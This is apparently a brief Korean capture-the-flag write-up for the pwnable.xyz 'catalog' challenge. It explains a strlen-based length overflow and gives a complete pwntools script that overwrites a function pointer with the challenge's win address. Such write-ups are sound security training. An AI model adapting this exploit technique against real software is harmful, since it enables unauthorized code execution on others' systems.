pwn/pwnable.xyz

pwnable.xyz / catalog

lok2h4rd 2022. 5. 21. 23:28

mitigation

이름을 쓰고, 수정하고 출력하는 기능이 주어진다

 

write_name()

 

이름을 쓰는 과정에서 이름을 채워준 뒤 strlen을 통해 이름의 총 길이를 구하는데 이때 이름을 모두 채워주면 strlen에서 이름의 길이 byte가 추가된 0x21byte를 반환 할 수 있어서 edit_name으로 길이를 0xff로 바꿔 print_name함수가 저장된 공간을 win으로 덮어 줬다 

 

from pwn import * 

p = remote("svc.pwnable.xyz", 30023)
#p = process("./catalog")

def write_name(data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"name: ")
    p.send(data)

def edit_name(idx, data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"index: ")
    p.sendline(str(idx))
    p.recvuntil(b"name: ")
    p.send(data)

def print_name():
    p.recvuntil(b"> ")
    p.sendline(b"3")
    p.recvuntil(b"index: ")
    p.sendline(b"0")

win = 0x40092c

payload = b"A" * 0x20

write_name(payload)

payload = b"A" * 0x20
payload += b"\xff" 

edit_name(0, payload)
payload = b"A" * 0x28
payload += p64(win)
edit_name(0, payload)

print_name()

p.interactive()